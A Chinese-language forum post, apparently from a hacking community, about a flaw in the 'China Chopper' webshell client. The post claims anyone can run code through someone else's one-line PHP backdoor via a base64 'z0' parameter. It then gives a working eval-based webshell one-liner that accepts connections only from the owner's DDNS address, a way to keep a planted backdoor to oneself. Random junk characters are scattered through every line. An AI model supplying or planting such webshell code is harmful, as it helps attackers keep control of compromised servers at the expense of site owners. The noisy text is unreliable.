今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
1 i( b0 P: Y& ]
+ F8 u: Q3 x! M! w& t就算你设置了密码,使用了eval($_REQUEST['moyo']);$ v9 L! r: m) L; Y+ M- }5 p X
8 t. T, j `4 j% P' _5 P) |
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门$ @ U k5 U4 c2 N$ [
( X9 H% @6 i! ?; T因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
: W# v; @$ X2 ^9 q# `) v( O4 }) r) w0 `9 l! a) ]
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了! ~( {5 X: ?/ q! b9 T
8 R5 g/ K3 ]2 y& A
不知道是设计缺陷还是故意留的后门
7 Q) U7 @; F3 G+ v9 j' \4 B1 o4 D
& V3 q7 J+ C% _: T如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
9 b" B$ K" t% s, ?+ b* M* r3 p7 L( v) q
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org3 t) x+ ^- A# f
5 L7 W8 C: a4 U6 O4 Y
然后一句话后门这样写' S: s6 G- j g9 |# h2 L$ o7 U
# Z0 b a8 V$ m<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
' G- {/ J+ ^6 r! x这样就可以让一句话后门只允许自己的电脑连接了+ A# u) k9 B8 A' ^2 T! W& C
9 H3 ~4 J- q* C2 M$ F% t {, \! I: X
|